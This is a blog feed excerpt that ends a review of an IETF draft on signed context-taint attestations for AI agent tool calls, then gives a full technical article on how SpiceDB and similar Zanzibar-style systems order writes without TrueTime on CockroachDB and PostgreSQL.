&lt;li&gt;Normative references (Section 7) list only RFC 2119, 8174, 8785 and 8032. RFC 8949, RFC 8693, COSE, the WIMSE tokens and the companion draft are all cited in the text and missing from the list.&lt;/li&gt;
&lt;li&gt;The mailing-list announcement asks for feedback on "the ctx_isolation_witness structure and Policy-Epoch AST binding (policy_manifest_sha256)". Neither name appears in revision 00 of this draft or of the companion. The mail also points to a 100-row benchmark dataset (DOI 10.57967/hf/11352) that neither draft cites.&lt;/li&gt;
&lt;li&gt;A2A is mentioned once, in the Abstract, and never again.&lt;/li&gt;
&lt;li&gt;Nothing composes the CTA with the WIT or WPT the Abstract names. A CTA is not bound to the workload's identity key, so a relying party can't tell that the attestation and the token came from the same workload.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  If I had to ship this tomorrow
&lt;/h2&gt;

&lt;p&gt;The idea that a tool server should know the taint of the context that produced a call is right, and I'd rather have a shared wire format for it than every MCP gateway inventing one. If I implemented -00 today, these are the choices I'd write down, because the draft doesn't:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gap&lt;/th&gt;
&lt;th&gt;What I'd pick&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Signing input&lt;/td&gt;
&lt;td&gt;JCS of the object without &lt;code&gt;signature&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Simplest; no self-referential field inside the signed bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Merkle tree&lt;/td&gt;
&lt;td&gt;RFC 6962 leaf/node prefixes&lt;/td&gt;
&lt;td&gt;Domain separation; known proofs if anyone ever wants inclusion checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unknown effect class&lt;/td&gt;
&lt;td&gt;Treat as &lt;code&gt;STATE_MUTATING&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Fail closed is the draft's own stated posture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Egress&lt;/td&gt;
&lt;td&gt;A separate guarded class for anything that sends data out&lt;/td&gt;
&lt;td&gt;Closes the right-hand column above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Who computes taint&lt;/td&gt;
&lt;td&gt;The gateway that brokered the fetch, not the agent process&lt;/td&gt;
&lt;td&gt;The component that saw the bytes arrive should sign, and it should not share a key with the model's harness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Receipt&lt;/td&gt;
&lt;td&gt;Signed object over &lt;code&gt;invocation_id&lt;/code&gt;, tool name, hash of arguments, &lt;code&gt;exp&lt;/code&gt;, approver key&lt;/td&gt;
&lt;td&gt;Otherwise an approval is a blank cheque for the invocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replay&lt;/td&gt;
&lt;td&gt;Cache &lt;code&gt;invocation_id&lt;/code&gt; until &lt;code&gt;exp&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Cheap with a 60-second window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity&lt;/td&gt;
&lt;td&gt;Sign with the WIMSE workload key, or carry the CTA inside a WPT&lt;/td&gt;
&lt;td&gt;Ties the claim to the same workload the token authenticates&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The row I'd argue about on the list is "who computes taint". As long as the signer is the agent runtime, the CTA moves trust from the model to the harness, which is worth something, and stops there. A design where the egress proxy or the MCP host labels what came in, and the relying party checks that label rather than the agent's account of it, is the version that would survive a compromised runtime. Revision 00 doesn't go there. A -01 that answers that one question would be worth more than any amount of additional fields.&lt;/p&gt;

&lt;p&gt;Related: &lt;a href="https://dev.to/kanywst/wimse-workload-identity-in-multi-system-environments-deep-dive-standardizing-identity-5a12"&gt;WIMSE deep dive&lt;/a&gt; for the WIT/WPT this draft wants to sit beside, and &lt;a href="https://dev.to/kanywst/the-three-layers-of-ai-agent-authentication-what-id-jag-transaction-tokens-and-wif-actually-1mbk"&gt;the three layers of AI agent auth&lt;/a&gt; for where identity tokens stop and this kind of context evidence would have to start.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>mcp</category>
      <category>identity</category>
    </item>
    <item>
      <title>Zookies Without TrueTime: How SpiceDB, OpenFGA and the Rest Order Their Writes</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:27:00 +0000</pubDate>
      <link>https://dev.to/kanywst/zookies-without-truetime-how-spicedb-openfga-and-the-rest-order-their-writes-1m0o</link>
      <guid>https://dev.to/kanywst/zookies-without-truetime-how-spicedb-openfga-and-the-rest-order-their-writes-1m0o</guid>
      <description>&lt;p&gt;I removed a user from a folder in SpiceDB, got the write acknowledged, and asked SpiceDB whether that user could still read a document in the folder. It said yes. For up to 4.9 seconds.&lt;/p&gt;

&lt;p&gt;That is not a bug. It is the default consistency mode doing what it says, and it is exactly the window the Zanzibar paper's zookies exist to close. The paper closes it with Spanner and TrueTime. Almost nobody outside Google has TrueTime, so I wanted to know what SpiceDB, Permify, OpenFGA, Ory Keto and Warrant put in its place, down to the SQL.&lt;/p&gt;

&lt;p&gt;I covered the paper itself (tuples, the new enemy problem, zookies, Leopard) in &lt;a href="https://dev.to/kanywst/google-zanzibar-deep-dive-handling-2-trillion-acls-in-under-10ms-f06"&gt;Google Zanzibar Deep Dive&lt;/a&gt;, so this one starts where that left off. The longer notes, with every source, live at &lt;a href="https://0-draft.github.io/zanzibar-paper/en/guides/without-truetime/" rel="noopener noreferrer"&gt;Ordering without TrueTime&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Everything below was checked on 2026-11-15 against SpiceDB v1.57.1, OpenFGA v1.22.1, Permify v1.7.6, Ory Keto and Warrant at &lt;code&gt;main&lt;/code&gt;, and the paper text (USENIX ATC '19).&lt;/p&gt;

&lt;h2&gt;
  
  
  What a zookie actually needs from the database
&lt;/h2&gt;

&lt;p&gt;Strip away Spanner and the zookie protocol asks the storage layer for two things. §2.2 calls them "external consistency and snapshot reads with bounded staleness":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Commit order follows causality. If &lt;code&gt;x&lt;/code&gt; happened before &lt;code&gt;y&lt;/code&gt;, then "&lt;code&gt;x ≺ y&lt;/code&gt; ... will be assigned timestamps that reflect the causal order: &lt;code&gt;T_x &amp;lt; T_y&lt;/code&gt;". That includes updates "coordinated via channels invisible to Zanzibar": Alice tells Charlie in a hallway, Charlie moves the document. The database never sees the hallway.&lt;/li&gt;
&lt;li&gt;Reads at or after a point. "A check is always evaluated at a consistent snapshot no earlier than the given zookie" (§2.4.4).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Neither property says "wall clock". The zookie is "an opaque byte sequence encoding a globally meaningful timestamp" and the paper made it opaque "to discourage our clients from choosing arbitrary timestamps and to allow future extensions" (§2.4). Any position in a history works, as long as the two properties hold for it.&lt;/p&gt;

&lt;p&gt;The paper also explains why a logical clock would not do: Lamport clocks "require explicit participation of all 'processes', where in Zanzibar's use cases some of the 'processes' can be external clients or even human users" (§5). So the order has to come from the database. There are three places it can come from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Synchronized clocks with a bounded error, plus a wait: Spanner, with TrueTime and commit wait.&lt;/li&gt;
&lt;li&gt;Loosely synchronized clocks: CockroachDB's hybrid logical clocks, which order transactions correctly only when they conflict.&lt;/li&gt;
&lt;li&gt;One primary: PostgreSQL and MySQL. One server sees every commit in order, so causality is free. Global replication is what you give up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The middle one is where things get interesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  CockroachDB: make every write collide
&lt;/h2&gt;

&lt;p&gt;CockroachDB has no TrueTime. Its nodes keep loosely synchronized clocks under &lt;code&gt;--max-offset&lt;/code&gt;, default &lt;code&gt;500ms&lt;/code&gt;, and "If observed clock offsets exceed this limit, servers will crash to minimize the likelihood of reading inconsistent data" (&lt;a href="https://docs.cockroachlabs.com/docs/stable/cockroach-start" rel="noopener noreferrer"&gt;&lt;code&gt;cockroach start&lt;/code&gt;&lt;/a&gt;). Inside that 500 ms, two transactions that touch different keys can commit with timestamps in the wrong order. Cockroach Labs calls this "causal reverse" (&lt;a href="https://www.cockroachlabs.com/blog/living-without-atomic-clocks/" rel="noopener noreferrer"&gt;Living without atomic clocks&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;AuthZed reproduced the new enemy problem on exactly that gap in 2021 (&lt;a href="https://authzed.com/blog/prevent-newenemy-cockroachdb" rel="noopener noreferrer"&gt;The One Crucial Difference Between Spanner and CockroachDB&lt;/a&gt;). The schema was &lt;code&gt;permission allowed = direct - excluded&lt;/code&gt;. Write &lt;code&gt;excluded&lt;/code&gt;, then write &lt;code&gt;direct&lt;/code&gt;, then check at the second write's snapshot, all "in sequence (not parallel)". With one node's clock skewed by chaos-mesh's watchmaker and its network delayed by chaosd, "the check in 3 will succeed". Their summary: "Cockroach does not provide external consistency for transactions involving non-overlapping keys."&lt;/p&gt;

&lt;p&gt;The fix is to make the keys overlap. AuthZed found "we needed both transactions to write to the same key in order for Cockroach to assign the timestamps properly". A shared read was not enough.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F01-crdb-skew.png%3Fv%3Dc87c8ddd" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F01-crdb-skew.png%3Fv%3Dc87c8ddd" alt="Two sequence diagrams. Left, with the insecure overlap strategy: node 1, whose clock is 250 ms fast, commits the removal at 10.250; node 2 later commits the move at 10.100, and a check at 10.100 sees the move without the removal and allows Chen. Right, with the static strategy: both writes also upsert the same row in the transactions table, the write-write conflict pushes the second commit to 10.251, and the check at 10.251 denies Chen." width="760" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The timestamps in the diagram are illustrative. The mechanism is not. Here is the statement SpiceDB v1.57.1 runs at the end of every write transaction on CockroachDB (&lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/crdb/readwrite.go" rel="noopener noreferrer"&gt;&lt;code&gt;crdb/readwrite.go&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/crdb/crdb.go" rel="noopener noreferrer"&gt;&lt;code&gt;crdb/crdb.go&lt;/code&gt;&lt;/a&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;queryTouchTransaction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s2"&gt;"INSERT INTO %s (%s) VALUES ($1::text) ON CONFLICT (%s) DO UPDATE SET %s = now()"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;TableTransactions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// "transactions"&lt;/span&gt;
    &lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ColTransactionKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// "key"&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="c1"&gt;// Touching the transaction key happens last so that the "write intent" for&lt;/span&gt;
&lt;span class="c1"&gt;// the transaction as a whole lands in a range for the affected tuples.&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;rwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;overlapKeySet&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;queryTouchTransaction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which keys land in &lt;code&gt;overlapKeySet&lt;/code&gt; depends on &lt;code&gt;--datastore-tx-overlap-strategy&lt;/code&gt; (&lt;a href="https://authzed.com/docs/spicedb/concepts/datastores" rel="noopener noreferrer"&gt;datastores docs&lt;/a&gt;, &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/crdb/keys.go" rel="noopener noreferrer"&gt;&lt;code&gt;crdb/keys.go&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strategy&lt;/th&gt;
&lt;th&gt;Key written&lt;/th&gt;
&lt;th&gt;Docs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;static&lt;/code&gt; (default)&lt;/td&gt;
&lt;td&gt;the value of &lt;code&gt;--datastore-tx-overlap-key&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;"All writes overlap to guarantee safety at the cost of write throughput"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prefix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the part of each resource and subject type before &lt;code&gt;/&lt;/code&gt;, else &lt;code&gt;defaultsynckey&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;"Only writes that contain objects with same prefix overlap"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;request&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the comma-separated values of the &lt;code&gt;io.spicedb.requestoverlapkey&lt;/code&gt; header&lt;/td&gt;
&lt;td&gt;"Only writes with the same io.spicedb.requestoverlapkey header overlap"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;insecure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;nothing&lt;/td&gt;
&lt;td&gt;"possibly leaving you vulnerable to the New Enemy Problem"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I ran it against a single-node CockroachDB v25.2.2 to see the rows (&lt;a href="https://github.com/0-draft/dev.to/blob/main/articles/assets/zanzibar-without-truetime/run-crdb.sh"&gt;&lt;code&gt;run-crdb.sh&lt;/code&gt;&lt;/a&gt;). Write &lt;code&gt;x&lt;/code&gt; deletes a &lt;code&gt;folder&lt;/code&gt; tuple, write &lt;code&gt;y&lt;/code&gt; touches a &lt;code&gt;document&lt;/code&gt; tuple (output trimmed to the &lt;code&gt;transactions&lt;/code&gt; rows):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== strategy: static
-- write x: remove Chen from folder:A (a tuple on folder)
  key | 2026-11-14 22:19:29.214657
-- write y: move readme into folder:A (a tuple on document)
  key | 2026-11-14 22:19:29.445054
  key | crdb_internal_mvcc_timestamp 1794694769445101854.0000000000

== strategy: prefix
  defaultsynckey | 2026-11-14 22:19:37.382299

== strategy: insecure
(0 rows)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things I did not expect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Under &lt;code&gt;static&lt;/code&gt;, the row is literally named &lt;code&gt;key&lt;/code&gt;. The driver's own default constant is &lt;code&gt;defaultsynckey&lt;/code&gt;, but &lt;code&gt;spicedb serve&lt;/code&gt; passes its flag default, &lt;code&gt;--datastore-tx-overlap-key&lt;/code&gt; = &lt;code&gt;"key"&lt;/code&gt;, which wins.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;prefix&lt;/code&gt; only splits anything if your type names have a &lt;code&gt;/&lt;/code&gt;. &lt;code&gt;folder&lt;/code&gt; and &lt;code&gt;document&lt;/code&gt; have none, so both fall back to &lt;code&gt;defaultsynckey&lt;/code&gt; and the strategy behaves like &lt;code&gt;static&lt;/code&gt;. With &lt;code&gt;tenant1/folder&lt;/code&gt; and &lt;code&gt;tenant2/document&lt;/code&gt; they would stop overlapping, and so would the guarantee across tenants.&lt;/li&gt;
&lt;li&gt;The overlap row's MVCC timestamp, &lt;code&gt;1794694769445101854&lt;/code&gt;, is exactly the revision inside &lt;code&gt;y&lt;/code&gt;'s ZedToken (decoded below). The last writer of that row is the last committed write.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The cost is one hot row. Every &lt;code&gt;static&lt;/code&gt; write in the cluster contends on it. AuthZed's line is "This does add a small amount of latency to the write path, but it leaves the read paths performant." Spanner pays with commit wait on every write; SpiceDB on CockroachDB pays with a serialized row.&lt;/p&gt;

&lt;p&gt;One read-side caveat that the overlap key does not fix. SpiceDB gets "now" from &lt;code&gt;SELECT cluster_logical_timestamp()&lt;/code&gt; on whatever node it is connected to, and the docs warn that this "can differ across nodes", so "&lt;code&gt;fully_consistent&lt;/code&gt; does not guarantee read-after-write consistency on CockroachDB." The token from the write does not have that problem, because it names the write's own commit timestamp. On CockroachDB, &lt;code&gt;at_least_as_fresh&lt;/code&gt; with a stored ZedToken is stronger than &lt;code&gt;fully_consistent&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  PostgreSQL: the snapshot is the token
&lt;/h2&gt;

&lt;p&gt;On PostgreSQL there is one primary, so property 1 needs no clock at all. SpiceDB's driver says so in a comment: "timestamps cannot be used for ordering transactions in PG", and two snapshots can be "mutually uncomparable" (&lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/internal/datastore/postgres/revisions.go" rel="noopener noreferrer"&gt;&lt;code&gt;postgres/revisions.go&lt;/code&gt;&lt;/a&gt;). A revision is a transaction id plus a &lt;code&gt;pg_snapshot&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I wanted to see that inside a real token, so &lt;a href="https://github.com/0-draft/dev.to/blob/main/articles/assets/zanzibar-without-truetime/run.sh"&gt;&lt;code&gt;run.sh&lt;/code&gt;&lt;/a&gt; starts SpiceDB v1.57.1 on PostgreSQL 17, writes the schema below, and decodes what comes back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;definition user {}
definition folder {
  relation viewer: user
  permission view = viewer
}
definition document {
  relation parent: folder
  permission view = parent-&amp;gt;view
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Removing Chen from &lt;code&gt;folder:A&lt;/code&gt; returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"writtenAt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"GiQKGENNc0dJTW9HS09pRC84eWxxb0wwR0E9PRIINzMzNjBjODY="&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;protoc --decode_raw&lt;/code&gt; twice gets to the bottom of it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ echo "$TOK" | base64 -d | protoc --decode_raw
3 {
  1: "CMsGIMoGKOiD/8ylqoL0GA=="
  2: "73360c86"
}
$ echo CMsGIMoGKOiD/8ylqoL0GA== | base64 -d | protoc --decode_raw
1: 843
4: 842
5: 1794694700802753000

$ psql -c 'SELECT xid, snapshot, timestamp FROM relation_tuple_transaction ORDER BY xid DESC LIMIT 1'
842|842:842:|2026-11-14 22:18:20.802753
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F02-zedtoken-anatomy.png%3Fv%3D509f220a" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-without-truetime%2Fdiagrams%2F02-zedtoken-anatomy.png%3Fv%3D509f220a" alt="Anatomy of two real ZedTokens. PostgreSQL: base64 decodes to DecodedZedToken field 3 with a revision string and an 8-character datastore id prefix; the revision decodes again to PostgresRevision with xmin 843, xmax 843, no in-progress xids, txid 842 and a nanosecond timestamp, meaning snapshot 843:843: in which the removal xid 842 is visible. CockroachDB: the revision is an HLC decimal, 1794694769445101854.0000000000, equal to the overlap row's MVCC timestamp. A token whose prefix does not match the datastore is treated as fully consistent by default." width="720" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The field numbers come from SpiceDB's &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/proto/internal/impl/v1/impl.proto" rel="noopener noreferrer"&gt;&lt;code&gt;impl.proto&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;DecodedZedToken.v1 = 3&lt;/code&gt;: &lt;code&gt;revision&lt;/code&gt;, &lt;code&gt;datastore_unique_id_prefix&lt;/code&gt;, &lt;code&gt;schema_hash&lt;/code&gt;) and &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/proto/internal/impl/v1/pgrevision.proto" rel="noopener noreferrer"&gt;&lt;code&gt;pgrevision.proto&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;xmin&lt;/code&gt;, &lt;code&gt;relative_xmax&lt;/code&gt;, &lt;code&gt;relative_xips&lt;/code&gt;, &lt;code&gt;optional_txid&lt;/code&gt;, &lt;code&gt;optional_timestamp&lt;/code&gt;). PostgreSQL recorded the removal's own snapshot as &lt;code&gt;842:842:&lt;/code&gt;, taken while 842 was still running. SpiceDB calls &lt;code&gt;snapshot.markComplete(842)&lt;/code&gt; on it, which gives &lt;code&gt;843:843:&lt;/code&gt;: every xid below 843 is visible. That is property 1 in PostgreSQL's vocabulary. Any snapshot that contains the removal also contains everything that committed before it, because that is what a &lt;code&gt;pg_snapshot&lt;/code&gt; is.&lt;/p&gt;

&lt;p&gt;The timestamp is there, but only as a hint. &lt;code&gt;optional_timestamp&lt;/code&gt; is used for things like GC windows, never for ordering.&lt;/p&gt;

&lt;p&gt;Permify builds its Snap Token from the same raw material: a PostgreSQL &lt;code&gt;XID8&lt;/code&gt; plus a snapshot string, encoded as base64 of &lt;code&gt;"xid:snapshot"&lt;/code&gt; (&lt;a href="https://github.com/Permify/permify/blob/v1.7.6/internal/storage/postgres/snapshot/token.go" rel="noopener noreferrer"&gt;&lt;code&gt;snapshot/token.go&lt;/code&gt;&lt;/a&gt;). Its docs describe it only as "a token that consists of an encoded timestamp" (&lt;a href="https://fusionauth.io/permify-docs/operations/snap-tokens" rel="noopener noreferrer"&gt;Snap Tokens&lt;/a&gt;). I did not trace how Permify's read path uses it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How "at least as fresh" is implemented
&lt;/h2&gt;

&lt;p&gt;The paper's semantics are a lower bound: Zanzibar may "choose any timestamp fresher than the one encoded in a zookie" (§2.2). SpiceDB implements that as a max, in &lt;a href="https://github.com/authzed/spicedb/blob/v1.57.1/pkg/middleware/consistency/consistency.go" rel="noopener noreferrer"&gt;&lt;code&gt;pkg/middleware/consistency/consistency.go&lt;/code&gt;&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c1"&gt;// pickBestRevision compares the provided ZedToken with the optimized revision of the datastore, and returns the most&lt;/span&gt;
&lt;span class="c1"&gt;// recent one.&lt;/span&gt;
&lt;span class="n"&gt;databaseRev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;OptimizedRevision&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;databaseRev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;GreaterThan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Revision&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;databaseRev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Revision&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SchemaHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;OptimizedRevision&lt;/code&gt; is the quantized revision every &lt;code&gt;minimize_latency&lt;/code&gt; request uses: rounded to &lt;code&gt;--datastore-revision-quantization-interval&lt;/code&gt; (default &lt;code&gt;5s&lt;/code&gt;) so that concurrent checks share cache entries. That is the paper's §3.2.5 trick ("rounded up to a coarse granularity, such as one or ten seconds") with one difference. Spanner can round &lt;em&gt;up&lt;/em&gt; into the future because "the read will wait until TrueTime has moved past T". A SQL database cannot read the future, so SpiceDB rounds &lt;em&gt;down&lt;/em&gt; into the past. Rounding down is where the window comes from.&lt;/p&gt;

&lt;p&gt;Note what &lt;code&gt;GreaterThan&lt;/code&gt; means for PostgreSQL. Two snapshots can be incomparable. If neither is greater, the code falls through to the token's revision, which is the safe choice.&lt;/p&gt;

